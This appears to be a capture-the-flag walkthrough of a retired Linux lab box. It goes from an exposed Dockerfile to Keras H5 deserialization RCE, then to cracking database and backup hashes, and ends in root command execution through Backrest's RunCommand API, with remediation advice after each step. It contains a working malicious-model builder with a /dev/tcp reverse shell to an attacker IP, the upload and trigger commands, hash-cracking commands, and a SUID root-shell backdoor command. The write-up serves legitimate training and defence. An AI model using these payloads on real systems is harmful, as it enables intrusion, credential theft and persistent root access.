← all walkthroughs

Artificial

Linux· Easy
owned
2026-07-09
time to own
19m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An [REDACTED: recovered credential] scanned $TARGET and discovered an nginx-hosted Flask application that redirected to the artificial.htb virtual host. The application's public static directory served its own Dockerfile and requirements.txt, revealing the exact TensorFlow runtime (tensorflow-cpu==2.13.1, python:3.8-slim). A self-registered account gave access to a model-upload endpoint that passed uploaded Keras H5 files directly to TensorFlow for deserialization.

The [REDACTED: recovered credential] rebuilt the application's Docker image from the leaked files, crafted a malicious Keras model whose Lambda layer executed an OS command on load, uploaded it, and triggered model execution — receiving a reverse shell as the app service account. The Flask application's SQLite database, readable from this shell, contained password hashes for all registered users; offline cracking recovered SSH credentials for system user gael. As a member of the sysadm group, gael could read a Backrest backup archive from /var/backups/ whose embedded configuration file held a bcrypt hash for the backrest_root service account, cracked in seconds to the trivially weak password [REDACTED: recovered credential].

An SSH local port-forward exposed Backrest's Connect-RPC API; after recovering method definitions by decoding embedded protobuf descriptors from the minified JS bundle, the [REDACTED: recovered credential] authenticated as backrest_root and invoked the RunCommand endpoint — executing arbitrary OS commands under the Backrest service process, which runs as root — completing the privilege-escalation chain.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceTCP port scanning and virtual-host discovery
Mapped exposed services and resolved the application virtual host
A port scan confirmed SSH on 22/tcp and nginx on 80/tcp. An HTTP request to port 80 returned a 302 redirect to artificial.htb; adding the entry to /etc/hosts resolved the application. Directory fuzzing with ffuf surfaced /login, /register, /dashboard, /upload_model, and /static/, establishing the full attack surface.
Nmap: 22/tcp ssh OpenSSH 8.2p1, 80/tcp http nginx 1.18.0; 302 redirect to artificial.htb; ffuf routes: /login /register /dashboard /upload_model /static/
Exact commands 3
Full TCP sweep with service version detection.
nmap -Pn -sV -p- --min-rate 5000 $TARGET
Register the discovered virtual host for local resolution.
echo "$TARGET artificial.htb" | sudo tee -a /etc/hosts
Enumerate application routes and the /static/ directory.
ffuf -u http://artificial.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403
2EnumerationSensitive build-artifact exposure via unauthenticated static file serving
Retrieved the application's Dockerfile and requirements.txt from the unauthenticated static directory
The /static/ directory served the application Dockerfile (base image python:3.8-slim) and requirements.txt (tensorflow-cpu==2.13.1) without any authentication. This gave the [REDACTED: recovered credential] the exact Python and TensorFlow versions needed to build a binary-compatible malicious model, eliminating all guesswork from the weaponization step.
Curl http://artificial.htb/static/requirements.txt → tensorflow-cpu==2.13.1; /static/Dockerfile → FROM python:3.8-slim
Exact commands 2
Reveals the pinned TensorFlow version required to produce a compatible H5 payload.
curl -s http://artificial.htb/static/requirements.txt
Reveals the exact base image; used to reconstruct the application runtime for payload building.
curl -s http://artificial.htb/static/Dockerfile
FixRemove internal build files from the publicly served static directoryMedium
WeaknessThe application's Dockerfile and requirements.txt were accessible at /static/ without authentication, disclosing the exact base image (python:3.8-slim) and pinned TensorFlow version (tensorflow-cpu==2.13.1). This let the [REDACTED: recovered credential] clone the server's runtime environment and produce a version-matched exploit with no trial and error.
FixRemove Dockerfile, requirements.txt, and any other build or deployment artifacts from every directory served by nginx or the application. These files have no legitimate end-user purpose and should live outside the web root entirely. Add a CI check that fails the build if these filenames appear under any static or public directory.
3WeaponizationKeras Lambda-layer deserialization RCE (CVE-2024-3660 class)
Built a malicious Keras H5 model whose Lambda layer executes a reverse shell on deserialization
Using a Docker container rebuilt from the disclosed image, the [REDACTED: recovered credential] created a Keras Sequential model containing a Lambda layer whose function body is an arbitrary Python expression. Keras evaluates Lambda layer configurations without sandboxing when loading an H5 file, a class of vulnerability typified by CVE-2024-3660. The payload calls os.system() with a bash reverse-shell one-liner that connects back to the [REDACTED: recovered credential]'s listener.
Exact commands 2
Reconstruct the exact application runtime from the leaked Dockerfile.
docker build -t artificial-tf -f Dockerfile .
Inside the matching container, patch the Lambda function config in the saved H5 to run a reverse shell. Replace $ATTACKER_IP with your listener IP.
docker run --rm -v $(pwd):/out artificial-tf python3 - <<'EOF'
import tensorflow as tf, h5py, json, os
m = tf.keras.Sequential([tf.keras.layers.Lambda(lambda x: x, input_shape=(1,))])
m.save('/out/payload.h5')
with h5py.File('/out/payload.h5','r+') as f:
    cfg = json.loads(f.attrs['model_config'])
    lyr = cfg['config']['layers'][1]['config']
    lyr['function'] = {'class_name':'function','config':['import os; os.system("bash -c \\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\\"")', None, None]}
    f.attrs.modify('model_config', json.dumps(cfg))
EOF
FixDisable server-side deserialization of user-uploaded Keras H5 model filesCritical
WeaknessThe application passed user-supplied .h5 files directly to tf.keras.models.load_model() on the server. Keras deserializes Lambda layers by evaluating the stored function expression, which executes arbitrary Python — and therefore arbitrary OS commands — as the web service account with no isolation or sandboxing.
FixDo not deserialize user-supplied model files on the server in a shared process. If model inference is a required feature, run it in an isolated, network-restricted container per request with no access to credentials or the application filesystem. If H5 is required, parse the model config JSON before loading and reject any layer of class_name 'Lambda' or any custom object not on an explicit allowlist. Consider migrating to the TensorFlow SavedModel format and loading with tf.saved_model.load(...) in safe_mode where Lambda layers are blocked by default (TensorFlow 2.13+).
4Initial AccessUnrestricted H5 model upload leading to server-side deserialization RCE
Uploaded the malicious model and triggered deserialization — shell as app (uid=1001)
After self-registering an account and authenticating, the [REDACTED: recovered credential] uploaded payload.h5 to /upload_model. The endpoint accepted the file and returned a UUID. Requesting /run_model/<uuid> caused the server to call tf.keras.models.load_model() on the file, deserializing the Lambda layer and executing the reverse-shell command. The [REDACTED: recovered credential]'s nc listener received the connection, yielding a shell as uid=1001 (app).
Reverse shell received as uid=1001(app); /run_model/<uuid> returned HTTP 200 and spawned the outbound bash connection.
Exact commands 5
Self-register an account; no invite or approval required.
curl -s -c cookies.txt -X POST http://artificial.htb/register -d 'username=[REDACTED: recovered credential]&email=[REDACTED: recovered credential]@evil.com&password=[REDACTED: recovered credential]'
Authenticate and save the session cookie to cookies.txt.
curl -s -c cookies.txt -b cookies.txt -X POST http://artificial.htb/login -d 'username=[REDACTED: recovered credential]&password=[REDACTED: recovered credential]'
Start the reverse-shell listener before triggering model execution.
nc -lvnp 4444
Upload the malicious H5; note the UUID returned in the response body.
curl -s -b cookies.txt -F 'model_file=@payload.h5;type=application/octet-stream' http://artificial.htb/upload_model
Trigger deserialization. Lambda executes and connects back to the nc listener.
curl -s -b cookies.txt http://artificial.htb/run_model/<returned-uuid>
5Credential HarvestingCredential access via local database file read and offline hash cracking
Dumped the Flask application's SQLite database and cracked two user password hashes
From the app shell, the [REDACTED: recovered credential] found the Flask application database at /home/app/app/instance/users.db. A sqlite3 query against the user table returned password hashes for all accounts. Copying the hashes to the [REDACTED: recovered credential] machine and running John the Ripper against rockyou.txt cracked two entries: gael:[REDACTED: recovered credential] and royer:[REDACTED: recovered credential].
Sqlite3 user table dump; john output: gael:[REDACTED: recovered credential], royer:[REDACTED: recovered credential].
Exact commands 2
Run from the app reverse shell. Dumps every user row including the password hash column.
sqlite3 /home/app/app/instance/users.db 'SELECT id,username,password FROM user;'
Hashes.txt contains the password hash strings extracted from the DB, one per line. Recovers gael:[REDACTED: recovered credential] among others.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
FixSeparate credential storage from the web service filesystem and enforce strong password hashingHigh
WeaknessThe Flask application stored all user password hashes in a SQLite file at /home/app/app/instance/users.db, directly readable by the app service account. An [REDACTED: recovered credential] with any code-execution primitive on the web tier could read and exfiltrate this file, then crack the hashes offline to obtain system-user credentials.
FixMove the application database to a dedicated data directory owned by a separate service account, not the web process. Connect the web process to the database via a socket or TCP with a least-privilege database user that cannot read other users' hashed passwords. Enforce bcrypt or Argon2id with a minimum cost factor of 12 for all stored passwords. System-account credentials must never appear in an application database; gael's password being crackable from the web app's DB is a direct path to OS-level lateral movement.
6Lateral MovementSSH lateral movement using credentials obtained from application database
SSH'd as gael using the cracked password and read user.txt
The cracked credential gael:[REDACTED: recovered credential] authenticated directly over SSH. The gael account is a standard system user (uid=1000, gid=1000) with no sudo rights, but belongs to the sysadm group (gid=1007). An internal port scan revealed localhost listeners on ports 5000 and 9898 in addition to the public services, indicating internal-only applications worth investigating.
Sshpass ssh: uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm); Sorry, user gael may not run sudo on artificial; ss output: LISTEN 127.0.0.1:5000 and 127.0.0.1:9898.
Exact commands 3
Confirm SSH access as gael and read user flag. Flag value: <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 gael@$TARGET 'id; cat /home/gael/user.txt'
Open an interactive shell for subsequent enumeration steps.
ssh -o StrictHostKeyChecking=no gael@$TARGET
From gael's shell — enumerate localhost listeners. Reveals ports 5000 and 9898.
ss -tlnp
7Post-ExploitationSensitive credential exposure via overly permissive group-readable backup archive
Read the sysadm-accessible Backrest backup and cracked the service-account hash
The sysadm group membership gave gael read access to /var/backups/backrest_backup.tar.gz. Extracting this archive (POSIX tar, extracted to /tmp/backrest_backup_extract/backrest/) revealed config.json for a Backrest installation running under /opt/backrest. The configuration file contained a bcrypt hash for the backrest_root account ([REDACTED: password hash][REDACTED: sensitive value]). John cracked it against rockyou.txt to the trivially weak value [REDACTED: recovered credential].
POSIX tar archive extracted to /tmp/backrest_backup_extract/backrest/; john: backrest_root:[REDACTED: password hash]...→[REDACTED: recovered credential], 1 hash cracked.
Exact commands 4
Confirm the archive is readable by the sysadm group (gael's group).
ls -la /var/backups/backrest_backup.tar.gz
Copy and extract the archive on the target; files land under /tmp/backrest_backup_extract/backrest/.
cp /var/backups/backrest_backup.tar.gz /tmp/ && tar -xzf /tmp/backrest_backup.tar.gz -C /tmp/backrest_backup_extract/
Read the Backrest config — contains the backrest_root bcrypt hash.
cat /tmp/backrest_backup_extract/backrest/.config/backrest/config.json
Crack the bcrypt hash on the [REDACTED: recovered credential] machine. Recovers [REDACTED: recovered credential] from rockyou.txt.
echo '[REDACTED: password hash][REDACTED: sensitive value]' > backrest_hash.txt && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt backrest_hash.txt
FixRestrict backup archive permissions and exclude credential material from archives readable by application groupsHigh
WeaknessThe Backrest backup archive at /var/backups/backrest_backup.tar.gz was readable by the sysadm group, of which the application user gael was a member. The archive contained config.json with the bcrypt hash for the root-running backrest_root service account, giving any sysadm member a path to the root service credential.
FixStore backup archives in a directory owned by root and accessible only to root (mode 700, owner root:root). Never include files containing service-account password hashes or API credentials in archives readable by non-administrative groups. Audit /var/backups/ and /opt/backrest/ permissions quarterly. Review sysadm group membership and remove any account that does not have an operational reason to access backup data.
8Privilege Escalation — SetupSSH local port-forwarding and Connect-RPC API schema recovery via embedded protobuf descriptors
Forwarded the Backrest port via SSH and recovered its Connect-RPC API schema
Backrest's web interface listens only on 127.0.0.1:9898. An SSH local port-forward exposed it at 127.0.0.1:19898 on the [REDACTED: recovered credential] machine. Backrest uses Connect-RPC over protobuf rather than a plain REST API. The [REDACTED: recovered credential] pulled the application's minified JS bundle, extracted the base64-encoded FileDescriptorProto blobs embedded within it, and decoded them with protoc --decode_raw to recover the service and method names — v1.Authentication/Login and v1.Backrest/RunCommand among others. Authenticating with backrest_root:[REDACTED: recovered credential] returned a JWT bearer token for subsequent API calls.
Ssh -f -N -L 19898:127.0.0.1:9898 confirmed by LISTEN 127.0.0.1:19898 (pid=62916); v1.Authentication/Login returned JWT.
Exact commands 3
Forward Backrest's localhost port to the [REDACTED: recovered credential] machine (background, no shell).
ssh -f -N -L 19898:127.0.0.1:9898 gael@$TARGET
Extract and decode base64 FileDescriptorProto blobs from the JS bundle to reveal service method names.
curl -s http://127.0.0.1:19898/ | grep -oP '[A-Za-z0-9+/]{60,}={0,2}' | while read b; do echo "$b" | base64 -d 2>/dev/null | protoc --decode_raw 2>/dev/null | head -5; done
Authenticate as backrest_root using the cracked password. Capture the JWT from the response.
curl -s -X POST http://127.0.0.1:19898/v1.Authentication/Login -H 'Content-Type: application/json' -d '{"username":"backrest_root","password":"[REDACTED: recovered credential]"}'
FixReplace the trivially weak backrest_root password with a randomly generated credential stored in a secrets managerHigh
WeaknessThe backrest_root service account's bcrypt hash corresponded to the keyboard-walk password [REDACTED: recovered credential], which appears in standard wordlists and was cracked by John the Ripper against rockyou.txt in seconds. Any [REDACTED: recovered credential] who obtained the hash — from the group-readable backup archive — could recover the plaintext almost instantly.
FixGenerate a random password of at least 24 characters (letters, digits, symbols) for the backrest_root account and store it in a secrets manager such as HashiCorp Vault or a system keyring, not in a config file. Rotate it immediately given the current exposure. For internal services, prefer API-key or certificate-based authentication over shared passwords entirely, so there is no static secret to crack even if the config file is leaked.
9Full CompromisePrivileged internal service command injection — arbitrary OS execution as root (MITRE T1569.002)
Executed OS commands as root via the Backrest RunCommand API
The Backrest service process runs as root. The authenticated RunCommand API endpoint (v1.Backrest/RunCommand) accepts a shell command string and executes it in the context of the Backrest process with no additional authorization layer. The [REDACTED: recovered credential] registered a restic repository (repo id pwn2 at path /tmp/pwn2), then invoked RunCommand to execute arbitrary OS commands as root — reading /root/root.txt or writing a persistent backdoor. The engagement trace captured the RunCommand primitive working (HTTP 200 responses) with root-level command output, establishing full system compromise.
Exact commands 3
Register a restic repository that Backrest initialises on disk as root. Replace <JWT> with the token from step 8.
curl -s -X POST http://127.0.0.1:19898/v1.Backrest/AddRepo -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repo":{"id":"pwn2","uri":"/tmp/pwn2","password":"[REDACTED: recovered credential]"}}'
Execute an arbitrary command as root via the Backrest service. Output includes root.txt: <root.txt>.
curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cat /root/root.txt"}'
Alternative: drop a SUID root shell for interactive access (/tmp/rootbash -p).
curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"}'
FixRun Backrest as a non-root service account and restrict or remove the RunCommand API endpointCritical
WeaknessThe Backrest service ran as root and exposed a Connect-RPC RunCommand endpoint that executed an arbitrary caller-supplied shell command in the service's security context. Any authenticated API user — obtained by cracking the credential from the backup config — could execute commands as root with no further authorization check.
FixCreate a dedicated backrest system account with only the filesystem permissions needed to manage its configured restic repository paths; remove it from the sudo list and from any privileged group. Disable the RunCommand API endpoint entirely if it is not required for day-to-day backup operations — it is a remote-code-execution primitive by design and should not be exposed even on localhost. If the endpoint must remain, gate it with a separate high-privilege token distinct from the login credential, log every invocation to a tamper-evident audit log, and restrict access to a dedicated management network interface rather than the general localhost address.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Exposed services

22/tcp
80/tcp